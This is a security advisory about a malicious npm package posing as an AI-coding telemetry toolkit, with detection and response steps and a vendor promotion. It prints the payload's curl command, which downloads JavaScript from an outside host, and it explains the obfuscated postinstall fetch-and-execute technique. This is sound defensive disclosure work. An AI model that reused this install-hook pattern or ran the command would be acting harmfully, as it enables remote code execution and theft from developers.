ali-ai-coding-tracenpm
Advisory published Updated
ali-ai-coding-trace is a confirmed malicious npm package (MAL-2026-20351) that runs destructive / sabotage code (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in ali-ai-coding-trace (npm)
What this malware does
Malicious package. Advertised as a "tracing and telemetry toolkit for AI-assisted coding workflows" with no other functionality: index.js exports an empty object. The postinstall hook runs index.js, which rebuilds a URL from a character-code array, runs curl -sL -o <package dir>/.cache https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js, require()s the downloaded file, and then deletes it, so arbitrary remote JavaScript executes at install time and leaves no copy on disk. The URL and the curl -sL -o command string are both obfuscated as character-code arrays. In a sandboxed install the postinstall spawned that curl command against the Alibaba Cloud OSS host.
Malicious versions
Detection & response playbook
Destructive / sabotageFind it
Search your lockfiles and build artifacts for ali-ai-coding-trace (version 1.0.0).
If you installed it — respond
ali-ai-coding-trace carries a destructive/sabotage payload. Remove it immediately, restore any affected data from clean backups, and verify integrity of build outputs that may have been tampered with.
Did it already run?
If ali-ai-coding-trace was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Credits
- wormsign · finder
Detect & block this
O3 blocks ali-ai-coding-trace-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.